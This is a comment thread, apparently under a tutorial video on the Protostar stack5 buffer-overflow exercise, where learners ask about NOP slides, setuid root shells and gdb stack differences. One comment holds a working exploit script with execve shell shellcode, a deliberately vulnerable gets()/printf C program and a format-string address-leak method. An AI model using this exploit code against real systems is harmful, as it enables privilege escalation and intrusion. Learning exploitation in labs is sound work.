dude this ( ; cat) thing... spend two days >_
Thx so much to this dude also
Sounds like you might need to check the edit on this!
Great content as always.
Hi. I've been programming for a while, but this is my first real attempt at doing exploits of any kind, so I apologize if I accidentally skip over any details by accident.
As a challenge, I'm very doing a related program which I made specifically as an introductory program. The full source code of said program can be found here: pastebin.com/sYyGsrkZ. Additionally, the disassembly of the main function can be found here: pastebin.com/xMJEfDPT.
I've successfully managed to get the program to jump to stack, similarly to how you mention at 3:08, and correctly land the instruction pointer to the opcode in my array. However, the program immediately throws a SEGFAULT upon execution of my array. My exploit string is simply 1024 ret instructions followed by the pointer to the beginning of the code as to overwrite the function pointer, and the program most certainly does land there correctly. I think I may have a nonexecutable stack, which may be interfering with the exploit. For reference, I'm using arch linux with linux kernel 4.16.6 on an x86_64 intel xeon x5670.
Any help or tips of any kind would be appreciated. Thanks so much for your time.
if you compile it yourself on this modern linux, then yep, stack is not executable. I suggest you to practice these introduction challenges on older VMs such as the one shown in the videos. But overthewire is also great!
The (
instructions unclear, wearing two wizard hats 00:54
very interesting, thanks! keep it up dude!
At 12:08 you say, that we escalated priviledges to root. You proove that and I was fascinated!
But I don't understand why we got now a root shell. The python program you entered was started with the user "user" so how exactly could you escalated the the priviledges? Does it have something to do with the fact, we wrote an assembler instruction on the stack and the CPU executed that? But when are then lines of code executed as user and when as root? And how do syscalls come in here and when are permissions checked if the program / user has the right to execute something?
This topic is still pretty new to me but very interesting! Thank you :)
He got a root shell because the stack5 program is a setuid binary..He explains it in the 0xOB part in this video series.
Great video! Thank you. How can I determine how long my nop slide should be?
Very informative and inspiring video.
AWESOME vids! They've taught me more in 10 mins than hours of reading.
I can open a shell if I run it on GDB, without escalated privileges and if I run it without gdb I get an Illegal instruction (core dumped) error. Any ideas?
I'm getting a very weird problem. So I decided to have the shellcode in the buffer, rather than in its overflow. When I try the exploit in gdb it works(it says executing program bin/dash and program exitted normally), but when I run it without gdb it gives me Segmentation fault, which I can't wrap my head around. Note that also I'm doing this in the same working directory. I thought that it might be the problem that you mentioned with the envirorment variable of the pwd but I do have a nop slide and a return address that points somewhere around in the middle of it.
I replicated everything you did exactly and I still get segmentation fault
Now I magically got it work by tweaking it a bit. Still have no idea why it works now and not then
could you tell me how you got it to work, im running into the same error and its kinda frustrating :(
If you're executing stack5 from /opt/protostar/bin/stack5 then it behaves weirdly. Try executing it with the working directory in /tmp/ by typing "/opt/protostar/bin/stack5". Then it should behave the same with and without the debugger.
Nothing if it helps i found out that gdb uses the absolute path so "/opt/protostar/bin/stack5". Then everything makes a lot of sense becasuse from /tmp you are using the absolute path to stack5 but when your are in /opt/protostar/bin then you arent using the full path which changes the stack placement.
It's awesome !!!!!!!!!!! Thank you so much
Just finished ARM/ARM64 version of the challenge :D
you are a wizard, many thanks! I HAVE A QUESTION: when using nopeslide, how does the payload is executed? here you are jumping to a nop operation, lets say, you jump to address x but you payload is in address y. How do we get to y if you jump to x?
this whole thing can only happen if the stack is executable right?(basically NX disabled)
yeah, pretty much
Did you explain the nop-Slide in previous videos or did I miss something? I mean, I'll look it up anyway but I wondered.
And why exactly did we get root access to dash? Is it something about the execve command?
Also, great videos!
Because every binary in the protostar-levels is using the setuid. (Executing as root user)
So we bascially tricked the programm to start a new shell as root and giving us the input to it.
The more you watch this video the more your kernel panic you will feel in your system.
9:07 another good tool, especially if you're using Linux, is MSFVenom... Sure you've heard of it, a lot of different exploits to chose from, can generate shellcode without certain chars, of a certain size etc
After much searching i finally get the basic idea. So how would this work on "real" programs with the modern protections. I find the more i look into it the more complex it gets:D
First of all i love your videos, please never stop uploading ;)
Right now i have the problem that my program which i am trying to exploit is using strcpy to copy a string from a comand line argument to a buffer. I am able to inject the 0xCC byte and it will be successfully executed. But i am not able to access the /bin/sh. The trick with cat is not working since the program does not read from stdin. After all i am trying to read a File on the remote Server,should i try to write my own shellcode or is there a trick i could use?
`(python /tmp/exploit.py ; cat) | /opt/protostar/bin/stack5` works, but `(python /tmp/x5.py ; cat) | ./stack5` gives me an Illegal Instruction message. Can someone explain why?
+Zane Helton probably because you are in a different folder. The current working directory and path etc is stored on the stack, so it pushes around the stack and the addresses for the exploit only match nicely for the one directory
Great UA-cam Channel
I am starting from scratch trying to learn about Buffer Overflow , like f.x. "find starting address of heap and stack"
In what row should I watch the videos ?
there is a binary exploitation playlist that has some order. However a lot of topics create circle references and it also make sense to watch further than you understand. And then maybe revisit earlier videos again.
@@LiveOverflow Thanks for the quick answer ;-)
If anyone is getting seg fault please be aware 1st of all that gets() doesnot work nowadays as it has been removed from the gcc. Instead if you want to accomplish a similar behaviour one may use strcpy(). However it will not work with the input redirection command which is "
where did you hear that gets() is removed from libc? Also strcpy doesn't read input, so it has nothing to do with input redirections ;)
LiveOverflow thnku sir since I am learning from your videos I might be wrong but I discovered this during complication on gcc which recommended fgets instead of gets. Please throw some light
But the question is : how can you execute malicious code remotly into victim machine if the exploit (buffer overflow) is only related to the app.
Did you know an online course of the Tel Aviv University links to this video for extra information?
can you please explain why we have to point EIP to ESP?
That is awesome!
What on earth does the x/1i $eip do ?
eXamine (print) / one instruction from the address where $eip points to
Btw to set the real user ID to root (uid=0) you can use shellcode with a setreuid call like /shellcode/files/shellcode-250.php at shell-storm. I came across binaries/files before that checked real uid instead of the effective uid
I am getting segementation fault instead of sigtrap when executed from terminal.
you should be getting illegal instruction, thats because "gdb is using int3 internally"
so pass "handle SIGTRAP nostop noprint pass"
you will get sigtrap...
btw: GREAT CONTENT, @LiveOverFlow
Why do you +30 to the eip @8:20?
I don't think I understand this tutorial, I have my robe on and wizard hat, when do I cast Lvl. 3 Eroticism?
drset oh my god...
Haha, not only are your videos very educational, but they are also amusing at times. :D
Do I need to add an arbitrary number of nops (100 are showed) or there is a precise computation that I can do in order to assolve this task? Thank you
4:36 I don't think I have a deburgrarr
i love him even more because of his accent ! he is great
Please slow it down by 50%.
Thank you !!!
After all nops at 8:34 we see from address 0xbffff824 to 0xbffff827 the content of "0xb7ff6200". Why do we not see our payload "0xcccccccc" at that location? According to the python script, 0xcccccccc should come right after the 100 nops. Why is this not visible at 8:34, when you examine the stack?
Also, thank you for this great series!
For all those who get a segfault or else :
You should make `exploit.py` like that :
#---------------------------------------------------------------------------------
import struct
buf_val = #This value has to be found using the vulnerable program with the memory leak vulnerability, the value should look like 0x7fffffffde20 if it's compiled in 64 bits
start_buf = buf_val - 9 #Got from memory leak
padding = "A"*(256+8)
#shellcode = "\xcc"*64 # This instruction should give a SIGTRAP, trace/breakpoint trap
shellcode = "\x90\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" #This shellcode should spawn a shell
RIP = struct.pack("Q", (start_buf+len(padding)+8)+10) # Getting the EIP register from start_buf
payload = padding + RIP + "\x90"*64 + shellcode
print(payload) #Printing the payload to stdout
#Original code from LiveOverflow (gist.github.com/LiveOverflow/5fa36bec51968de696b11d3548b02148), i made modifications to make it work without sockets
#---------------------------------------------------------------------------------
To find make it actually works and to find `buf_val` in my exploit you should edit main.c like that :
//---------------------------------------------------------------------------------
#include
#include
void vuln() {
char buf[256] = {0};
gets(buf);
printf(buf);
}
int main(int argc, char* argv[]) {
vuln();
}//---------------------------------------------------------------------------------
To find the `buf_val` value in `exploit.py`, you have to use `printf()` vulnerability, so in the vulnerable program `vuln`, you have to enter `%p,%p,%p,%p,%p,%p` or more `%p,`, it should give you some values, the value we're looking for should be something like `0x7fffffffde20` (if it's compiled in 64 bits), it is generaly the second or the 4th value
Now you just have to take this value, and place it in the value of `buf_val` of `exploit.py`, then to run the exploit
(github page where i have all the files : github.com/TheCrazzXz/Exploits-Lab/tree/main/Challenges/Simple-vulns/root-shell-by-shellcode-injection)
Thank you liveoverflow to have liked my comment ! I'm happy to help !
Why is at 8:36 no 0xcccccccc at the end of the NOP slide (at 0xbffff824)? There is 0xb7ff6200 instead.
The INT instruction gets somehow executed though. How? What did I miss?
Yeah, I was wondering the same... Any answers to this?
what would happen if you changed the environment variable user to root by changing the stack (by going to an address with your code, and have that code change the memory at that address?) would that work/do anything?
So basically, anyone who would have a program that was written with gets, opens their self's to escalation of permissions? Seems like something fun to do on the school laptops 😂
The documentation for gets() literally tells you to never use it. I think it was even removed from libc at some point
No, as far as I know, the privilege escalation only happens if the suid bit is set.
Are you going to continue with the videos?
+Everything Media I working on it. But too much other stuff going on right now and I am slow. sorry
Why do I need buffer Oveflow to inject shellcodes? Can't I run shellcodes by itself?
Just a bit before 3:22 when you pipe the alphabet into the debugger, how do you do this? When I try it, no matter what I do it doesn't recognise it as input. It treats it as if I haven't inputted any arguments at all. My python script is exactly the same as the one in the video
Hi,
*After successfully executing shellcode*
I just wanted to know why my shellcode process always exits after a single command like "ls"...
Awesome!
hi bro,why segmentation fault appear when i run stack5 but it is not in gdb?
Hello guys, and thanks to +LiveOverFlow for the amazing video. First of all, just wanted to say I am not a hacker, I am really new to this and I am just doing it for fun and educational purposes. I am getting stuck at 6:20, In the first terminal I got the Trace/Break Point, and if I go to the second terminal and I execute the file I got the "Illegal Instructions" message, however, when I try to run the file using gdb (In 2nd Terminal) I only get Trace/breakpoints traps and I have to step forward like 4 times in order to get the "Illegal Instructions" here. Due to this when Im comparing the stack address I have in Terminal 1 and Terminal 2, they are identical. Any ideas?
Sincerely,
NewbornHacker (Not even) hahahah!
The stack has no execution privilege, how was it solved in this video?
The stack has execution priviledge on this older linux VM
@@LiveOverflow It is problem of VM or Linux on this VM? Hard or soft?
hi, maybe a noob question, but we used the return address of main on stack, right? Can we use the return address of "gets" on stack to enter shell code?
The memory allocated for the buffer is in the stack frame of main, so adding values to the buffer makes it grow from lower addresses to higher ones. This means that the buffer can overflow only into higher addresses, where the ebp of the stack frame that main was called from and the address where the program should return to after main is executed are stored. This means that with the buffer you can overwrite the address for the program to return to after the execution of main. However the gets function gets a stack frame on top of main's stack frame(in lower addresses). The address to return to after the execution of gets is stored on top of( in a lower address) than the buffer, therefore you cannot overwrite it because the buffer grows downwards.
04:48 What if the code is in a read-only memory? The debugger cannot just swap instructons with `int3` then, right? :q So how can it still debug such read-only code?